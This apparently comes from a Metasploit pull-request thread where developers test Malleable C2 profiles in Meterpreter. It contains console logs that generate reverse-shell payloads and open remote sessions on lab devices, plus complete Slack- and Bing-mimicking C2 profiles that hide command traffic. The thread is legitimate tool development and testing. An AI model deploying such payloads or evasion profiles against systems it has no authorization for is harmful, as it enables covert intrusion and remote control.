msf payload(linux/aarch64/meterpreter_reverse_http) > unset MALLEABLEC2 
Unsetting MALLEABLEC2...
msf payload(linux/aarch64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.aarch64.elf
[*] Writing 1198496 bytes to ~/Public/metsrv.aarch64.elf...
msf payload(linux/aarch64/meterpreter_reverse_http) > jobs -K
Stopping all jobs...
msf payload(linux/aarch64/meterpreter_reverse_http) > to_handler 
[*] Payload Handler Started as Job 22
msf payload(linux/aarch64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://192.168.3.10:8080

msf payload(linux/aarch64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: t6e579hx) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: t6e579hx) Redirecting stageless: URI '/-2JSXzJYRcPLS81ToXvVZQkXrrO9k_Gv9J5VXtj1ScObvLMJmuixMTqG4dhH' with UA '' -> UUID -2JSXzJYRcPLS81ToXvVCARUHDAYnW8L8_mH8A8akgix08cTXXLAoXJsAvpfCcnzWsrqOCHrc8GrNlaRAsLPKnQTwx
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: t6e579hx) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: t6e579hx) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: t6e579hx) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 17 opened (192.168.3.10:8080 -> 10.5.132.215:34856) at 2026-06-15 11:46:17 -0400

msf payload(linux/aarch64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 17...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > exit

test profiles

zoom ✅

msf payload(linux/aarch64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.aarch64.elf
[*] Writing 1198496 bytes to ~/Public/metsrv.aarch64.elf...
msf payload(linux/aarch64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 8qzlg4my) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 8qzlg4my) Redirecting stageless: URI '/s/58462514417 /wc/58462514417' with UA '' -> UUID jBYKd9QwHZ32rvC2nJ7qjAtIReJTtJlIJv5R707xToMQPXWvQKzGoYUn0vmVgzTuLptZi_9
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 8qzlg4my) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 8qzlg4my) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 8qzlg4my) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 15 opened (192.168.3.10:8080 -> 10.5.132.215:46332) at 2026-06-15 11:37:12 -0400

msf payload(linux/aarch64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 15...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > 

office364_calendar ✅

msf payload(linux/aarch64/meterpreter_reverse_http) > to_handler set LURIInterrupt: use the 'exit' command to quit
msf payload(linux/aarch64/meterpreter_reverse_http) > generate -f elf -o ~/Public/metsrv.aarch64.elf
[*] Writing 1198496 bytes to ~/Public/metsrv.aarch64.elf...
msf payload(linux/aarch64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 85um2dkl) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 85um2dkl) Redirecting stageless: URI '/owa/' with UA '' -> UUID zWNz6wvjbVKapZy98JWHLAOjjH4d8sNfFn0QFDdNPSvac2RUgY05
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 85um2dkl) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 85um2dkl) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: 85um2dkl) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 16 opened (192.168.3.10:8080 -> 10.5.132.215:37772) at 2026-06-15 11:43:11 -0400

msf payload(linux/aarch64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 16...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > exit

rtmp ✅

msf payload(linux/aarch64/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: uvifq250) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: uvifq250) Redirecting stageless: URI '/idle/1376547834/1' with UA '' -> UUID rbDvAgV6gQ1G70D3LN9nEggmxJTMlfZ4zsUblijUSnOdQGcjYzuNbjZkT4zEpcJzZcfiObtaJ5plOYnu
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: uvifq250) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: uvifq250) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.215; (UUID: uvifq250) Without a database connected that payload UUID tracking will not work!

msf payload(linux/aarch64/meterpreter_reverse_http) > [*] Meterpreter session 18 opened (192.168.3.10:8080 -> 10.5.132.215:52642) at 2026-06-15 12:02:11 -0400

msf payload(linux/aarch64/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 18...

meterpreter > getuid
Server username: kali
meterpreter > sysinfo
Computer     : kali-raspberrypi
OS           : Debian  (Linux 6.6.63-v8+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > 
MIPSLE

reverse tcp (staged)

msf payload(linux/mipsle/meterpreter/reverse_tcp) > generate -f elf -o ~/Public/m.mipsle.elf
[*] Writing 356 bytes to ~/Public/m.mipsle.elf...
msf payload(linux/mipsle/meterpreter/reverse_tcp) > 
[*] Sending stage (1378248 bytes) to 10.5.132.221
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.132.221:57806) at 2026-06-16 07:55:00 -0400

msf payload(linux/mipsle/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: ubnt
meterpreter > sysinfo
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
meterpreter > exit

reverse https (stageless)

msf payload(linux/mipsle/meterpreter_reverse_http) > 
[!] http://192.168.3.10:8080 handling request from 10.5.132.221; (UUID: bc1esp6x) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.221; (UUID: bc1esp6x) Redirecting stageless: URI '/mlAUuqU1QWl0kXKUHqBNWwNZqJagEL9juynhjr4AJ58UO5gR0dCmciJKtjVX6jR5CJvDTTC6NO_wu8Zkd' with UA '' -> UUID mlAUuqU1QWl0kXKUHqBNRgw5jljx50zvdB_xXcP6DYICVi_F6-phUHmUxmbWFD2ss
[!] http://192.168.3.10:8080 handling request from 10.5.132.221; (UUID: bc1esp6x) Without a database connected that payload UUID tracking will not work!
[*] http://192.168.3.10:8080 handling request from 10.5.132.221; (UUID: bc1esp6x) Attaching orphaned/stageless session...
[!] http://192.168.3.10:8080 handling request from 10.5.132.221; (UUID: bc1esp6x) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (192.168.3.10:8080 -> 10.5.132.221:52984) at 2026-06-16 07:56:12 -0400

msf payload(linux/mipsle/meterpreter_reverse_http) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: ubnt
meterpreter > sysinfo
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.14.54-UBNT)
Architecture : mips
BuildTuple   : mipsel-linux-muslsf
Meterpreter  : mipsle/linux
meterpreter > 

test profiles

MIPS64

reverse tcp (stageless)

reverse https (stageless)

test profiles

MacOS testing

TBD

@dledda-r7

dledda-r7 commented Jun 10, 2026

Copy link
Copy Markdown
Contributor

Hello @OJ, I am testing the profiles and the other arches, i noticed the staged TCP seems broken, can you check it on your side?

update: also some profile are not working, I will start triaging them
update 2, manage to get the two profile working: here is the diff compared to the original.

slack diff file

$ diff slack_before.profile slack_after.profile   
13a14
>             base64url;
39a41
>             base64url;
80a83
>             base64url;
88d90
<             print;
93a96
>             base64url;

bingsearch_getonly diff file

36c36
<             print;
---
>             base64url;

fixed slack profile

http-get {

    set uri "/messages/C0527B0NM";
    
    client {

#       header "Host" "msdevchat.slack.com";
        header "Accept" "*/*";
        header "Accept-Language" "en-US";
        header "Connection" "close";


        metadata {
            base64url;
            append ";_ga=GA1.2.875";
            append ";__ar_v4=%8867UMDGS643";
            prepend "d=";
        #    prepend "cvo_sid1=R456BNMD64;";
            prepend "_ga=GA1.2.875;";
            prepend "b=.12vPkW22o;";
            header "Cookie";
        }

    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Connection" "close";
        header "Server" "Apache";
        header "X-XSS-Protection" "0";
        header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
        header "Referrer-Policy" "no-referrer";
        header "X-Slack-Backend" "h";
        header "Pragma" "no-cache";
        header "Cache-Control" "private, no-cache, no-store, must-revalidate";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Vary" "Accept-Encoding";
        header "X-Via" "haproxy-www-w6k7";

        output {
            base64url;
            prepend "<!DOCTYPE html>";
            prepend "<html lang=\"en-US\" class=\"supports_custom_scrollbar\">";
            prepend "<head>";
            prepend "<meta charset=\"utf-8\">";
            prepend "<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">";
            prepend "<meta name=\"referrer\" content=\"no-referrer\">";
            prepend "<meta name=\"superfish\" content=\"nofish\">";
            prepend "<title>Microsoft Developer Chat Slack</title>";
            prepend "<meta name=\"author\" content=\"Slack\">";
            prepend "<link rel=\"dns-prefetch\" href=\"https://a.slack-edge.com?id=";

                append "\"> </script>";
                append "<div id=\"client-ui\" class=\"container-fluid sidebar_theme_\"\"\">";
            append "<div id=\"banner\" class=\"hidden\" role=\"complementary\" aria-labelledby=\"notifications_banner_aria_label\">";
            append "<h1 id=\"notifications_banner_aria_label\" class=\"offscreen\">Notifications Banner</h1>";
            append "<div id=\"notifications_banner\" class=\"banner sk_fill_blue_bg hidden\">";
            append "Slack needs your permission to <button type=\"button\" class=\"btn_link\">enable desktop notifications</button>.<button type=\"button\" class=\"btn_unstyle banner_dismiss ts_icon ts_icon_times_circle\" data-action=\"dismiss_banner\" aria-label=\"Dismiss\"></button>";
            append "</div>";
            append "<div id=\"notifications_dismiss_banner\" class=\"banner seafoam_green_bg hidden\">";
            append "We strongly recommend enabling desktop notifications if you’ll be using Slack on this computer.<span class=\"inline_block no_wrap\">";
            append "<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.close(); TS.ui.banner.growlsPermissionPrompt();\">Enable notifications</button> •";
            append "<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.close()\">Ask me next time</button> •";
            append "<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.closeNagAndSetCookie()\">Never ask again on this computer</button>";
            append "</span>";
            append "</div>";
            print;
        }
    }
}

http-post {

    set uri "/api/api.test";

    client {

#       header "Host" "msdevchat.slack.com";
        header "Accept" "*/*";
        header "Accept-Language" "en-US";

        output {
            base64url;
                append ";_ga=GA1.2.875";
            append "__ar_v4=%8867UMDGS643";
            prepend "d=";
    #       prepend "cvo_sid1=R456BNMD64;";
            prepend "_ga=GA1.2.875;";
            prepend "b=.12vPkW22o;";
            header "Cookie";
        }


        id {
#not sure on this, just trying to blend it in.
            base64url;
            prepend "GA1.";
            header "_ga";
        }
    }

    server {

        header "Content-Type" "application/json; charset=utf-8";
        header "Connection" "close";
        header "Server" "Apache";
        header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
        header "Referrer-Policy" "no-referrer";
        header "X-Content-Type-Options" "nosniff";
        header "X-Slack-Req-Id" "6319165c-f976-4d0666532";
        header "X-XSS-Protection" "0";
        header "X-Slack-Backend" "h";
        header "Vary" "Accept-Encoding";
        header "Access-Control-Allow-Origin" "*";
        header "X-Via" "haproxy-www-6g1x";


        output {
            base64;
                prepend "{\"ok\":true,\"args\":{\"user_id\":\"LUMK4GB8C\",\"team_id\":\"T0527B0J3\",\"version_ts\":\"";
                append "\"},\"warning\":\"superfluous_charset\",\"response_metadata\":{\"warnings\":[\"superfluous_charset\"]}}";
            print;
        }
    }
}

bingsearch_getonly fixed file

http-get {

    set uri "/search/";

    client {

        header "Host" "www.bing.com";
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

        metadata {
            base64url;
            parameter "q";
        }

        parameter "go" "Search";
        parameter "qs" "bs";
        parameter "form" "QBRE";


    }

    server {

        header "Cache-Control" "private, max-age=0";
        header "Content-Type" "text/html; charset=utf-8";
        header "Vary" "Accept-Encoding";
        header "Server" "Microsoft-IIS/8.5";
        header "Connection" "close";


        output {
            netbios;
            prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
            append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
            base64url;
        }
    }
}

http-post {

    set uri "/Search/";
    set verb "GET";

    client {

        header "Host" "www.bing.com";
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
        header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

        output {
            base64url;
            parameter "q";
        }

        parameter "go" "Search";
        parameter "qs" "bs";

        id {
            base64url;
            parameter "form";
        }
    }

    server {

        header "Cache-Control" "private, max-age=0";
        header "Content-Type" "text/html; charset=utf-8";
        header "Vary" "Accept-Encoding";
        header "Server" "Microsoft-IIS/8.5";
        header "Connection" "close";


        output {
            netbios;
            prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
            append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
            print;
        }
    }
}

Staged payloads embed the standard session TLVs (UUID, session GUID,
expiry) in the config block but never include a C2 group — they inherit
the stager's already-connected socket via argv "m <fd>". Previously,
parse_config_block returned 0 as long as the TLV blob parsed, so the
"argv[0] == 'm'" fallback in main() never ran and mettle sat in its
event loop with no transport registered.

Track how many transports get added from C2 groups while iterating, and
if none were added, free the parsed packet and return -1. The fd-based
branch then wires up "fd://<n>" as expected. UUID and session GUID
extracted earlier in the function are left on the dispatcher; the
fallback path's parse_default_args sets them again from the embedded
DEFAULT_OPTS cmdline, so staged sessions get the right identity.
@OJ

OJ commented Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

Hi @dledda-r7 ! Thanks again for the continued testing mate. I've just pushed up a change that should resolve the staged payloads. That was a silly mistake, and I though I had covered it already.

Please let me know if that works for you. Cheers.

@jbx81-1337

Copy link
Copy Markdown

Hey @OJ! Ok I will test it asap.
Regarding the profiles, I think I understand we don't support the 'print' in the http-get and it has to be base64 or base64url. I am not sure if the profiles are wrong or if it is a limitation from our side

@OJ

OJ commented Jun 15, 2026

Copy link
Copy Markdown
Contributor Author

@dledda-r7 the "print" statement is effectively always supported because it just means "render". So we don't have any code that checks for that keyword because it should always output that result in the correct spot.

Which is the best profile to use to validate this? The "broken" Slack one?

@OJ

OJ commented Jun 16, 2026

Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 thank you! I can see a few things in that zoom profile that aren't going to be supported (at least in the short term), such as dns-beacon so I will need to add those to the list of identifiers that are ignored. That's something that's MSF side, not mettle/python. I'll sort that now. Thanks.

@jbx81-1337

jbx81-1337 commented Jun 16, 2026

Copy link
Copy Markdown

@msutovsky-r7 thank you! I can see a few things in that zoom profile that aren't going to be supported (at least in the short term), such as dns-beacon so I will need to add those to the list of identifiers that are ignored. That's something that's MSF side, not mettle/python. I'll sort that now. Thanks.

Hello OJ!

Current open issue I spotted:

slack profile doesn't work on mettle, sessions doesn't open
bingseaerch_getonly doesn't work on mettle, session doesn't open

(You can get them by the link I put on the start of the test plan)

I copied only the http-get and http-post section

Looks like the http server is Broken and the fetch payloads are not working anymore

microsoft_update profile doesn't work on java meterpreter Java looks good

@dledda-r7

dledda-r7 commented Jun 16, 2026

Copy link
Copy Markdown
Contributor

@OJ I have triged the issue with fetch payload. pretty simple fix to do:

file: lib/rex/proto/http/server.rb
line: 295
replace with: len = request.resource.length

root cause

  • The fetch payload adapter starts an HTTP server with 'MsfExploit' => self (the adapter itself) in the context.
  • When a client requests the fetch URL, dispatch_request is called.
    find_resource_id is only defined in Msf::Handler::ReverseHttp — fetch payload adapters do NOT have this method.
  • So expl.respond_to?(:find_resource_id) returns false, and resource_id stays nil.
  • The first if branch is skipped (resource_id is nil).
  • The elsif resources[request.resource] branch matches (the fetch URI is registered as a resource).
  • BUG: Line 296 does len = resource_id.length — but resource_id is nil here!
  • This throws NoMethodError: undefined method 'length' for nil:NilClass, the exception propagates uncaught, the client connection is dropped with no HTTP response (blank).

A profile's `set uri` may list several space-separated candidate URIs
(Cobalt Strike picks one at random per request), emitted as repeated
TLV_TYPE_C2_URI values. c2_verb_config now holds a char **uris / uri_count
instead of a single uri; parse_c2_verb_group iterates every
TLV_TYPE_C2_URI via tlv_packet_iterate_str; build_profile_url picks one at
random per request (rand() % uri_count); and c2_verb_config_free frees the
array. This avoids emitting the raw "uri-a uri-b" string as a single
request path. GET and POST both route through build_profile_url.

Also add a `docker` Makefile target that builds mettle inside the
rapid7/build:mettle container (no local toolchain/autotools required),
overridable via DOCKER_TARGET=<triple> and defaulting to
x86_64-linux-musl. Only the mettle checkout is mounted and build artifacts
are chowned back to the invoking user.
@OJ

OJ commented Jun 16, 2026

Copy link
Copy Markdown
Contributor Author

@dledda-r7 thank you, I will make sure this gets rolled in on the next MSF push :)

@dledda-r7

Copy link
Copy Markdown
Contributor

Hello @OJ, is this : Handle multiple C2 URIs in mettle + add docker build target fix the issue with slack and bingsearch_getonly?

@msutovsky-r7

msutovsky-r7 commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

Hi @OJ , tested osx meterpreter, looks like https might be broken. HTTP works fine along with TCP stageless, but staged TCP looks broken also on master branch (I'll test it again, but it did same thing already few times)

OSX

tcp

stageless

resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> use payload/osx/x64/meterpreter_reverse_tcp
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lhost tun0
lhost => 10.38.37.50
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> generate -f macho -o /tmp/msf
[*] Writing 870456 bytes to /tmp/msf...
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> to_handler
[*] Payload Handler Started as Job 0
msf payload(osx/x64/meterpreter_reverse_tcp) > 
[*] Started reverse TCP handler on 10.38.37.50:4242 
[*] Meterpreter session 1 opened (10.38.37.50:4242 -> 10.11.58.111:38017) at 2026-06-19 12:14:09 +0200

msf payload(osx/x64/meterpreter_reverse_tcp) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : mss-iMac-Pro.local
OS           :  (macOS 14.8.7)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > getuid
Server username: ms

staged

seems to be not working

resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> use payload/osx/x64/meterpreter/reverse_tcp
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lhost tun0
lhost => 10.38.37.50
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> generate -f macho -o /tmp/msf
[*] Writing 17204 bytes to /tmp/msf...
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> to_handler
[*] Payload Handler Started as Job 0
msf payload(osx/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 10.38.37.50:4242 
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (870456 bytes) to 10.11.58.111
[-] Meterpreter session 1 is not valid and will be closed
[*] 10.11.58.111 - Meterpreter session 1 closed.

seems to be broken in master as well

resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> use payload/osx/x64/meterpreter/reverse_tcp
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lhost tun0
lhost => 10.38.37.50
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> generate -f macho -o /tmp/msf
[*] Writing 17204 bytes to /tmp/msf...
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> to_handler
[*] Payload Handler Started as Job 0
msf payload(osx/x64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 10.38.37.50:4242 
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (857592 bytes) to 10.11.58.111
[-] Meterpreter session 1 is not valid and will be closed
[*] 10.11.58.111 - Meterpreter session 1 closed.

http

stageless

resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> use payload/osx/x64/meterpreter_reverse_http
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lhost tun0
lhost => 10.38.37.50
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> set lport 4242
lport => 4242
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> generate -f macho -o /tmp/msf
[*] Writing 870456 bytes to /tmp/msf...
resource (/home/ms/Desktop/msf_scripts/osx_malleable_c2.rb)> to_handler
[*] Payload Handler Started as Job 0
msf payload(osx/x64/meterpreter_reverse_http) > 
[*] Started HTTP reverse handler on http://10.38.37.50:4242
[!] http://10.38.37.50:4242 handling request from 10.11.58.111; (UUID: zt6q70e8) Without a database connected that payload UUID tracking will not work!
[*] http://10.38.37.50:4242 handling request from 10.11.58.111; (UUID: zt6q70e8) Redirecting stageless: URI '/t34dF3lGPVk5LzAtUxouuAoo31RKbc3pR3zmZuZbfrN2nahh0g' with UA '' -> UUID t34dF3lGPVk5LzAtUxougQtoArxgZyvX5c0m_5yK9iN6l5Nqcr-BkqAfz_VJsuPqt3wCeSbV4O435LErrRlTZDGWYZg-sN
[!] http://10.38.37.50:4242 handling request from 10.11.58.111; (UUID: zt6q70e8) Without a database connected that payload UUID tracking will not work!
[*] http://10.38.37.50:4242 handling request from 10.11.58.111; (UUID: zt6q70e8) Attaching orphaned/stageless session...
[!] http://10.38.37.50:4242 handling request from 10.11.58.111; (UUID: zt6q70e8) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.38.37.50:4242 -> 10.11.58.111:48933) at 2026-06-19 12:19:30 +0200

msf payload(osx/x64/meterpreter_reverse_http) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : mss-iMac-Pro.local
OS           :  (macOS 14.8.7)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > getuid
Server username: ms
meterpreter > 

https

stagless

@msutovsky-r7

msutovsky-r7 commented Jun 19, 2026

Copy link
Copy Markdown
Contributor

Handle multiple C2 URIs in mettle + add docker build target

slack

msf > use payload/linux/x64/meterpreter_reverse_http
smsf payload(linux/x64/meterpreter_reverse_http) > set lhost 127.0.0.1 
slhost => 127.0.0.1
msf payload(linux/x64/meterpreter_reverse_http) > set lport 4242
lport => 4242
msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/slack.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o /tmp/msf
[*] Writing 3047776 bytes to /tmp/msf...
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
msf payload(linux/x64/meterpreter_reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Redirecting stageless: URI '/messages/C0527B0NM' with UA '' -> UUID xqAyj-JctoVbxF3GMfF8xgqzmv7lMmr1vjfM7-lOvoYtJSsxE_mtY
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Without a database connected that payload UUID tracking will not work!
[-] Meterpreter session 1 is not valid and will be closed
[*] 127.0.0.1 - Meterpreter session 1 closed.
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Without a database connected that payload UUID tracking will not work!
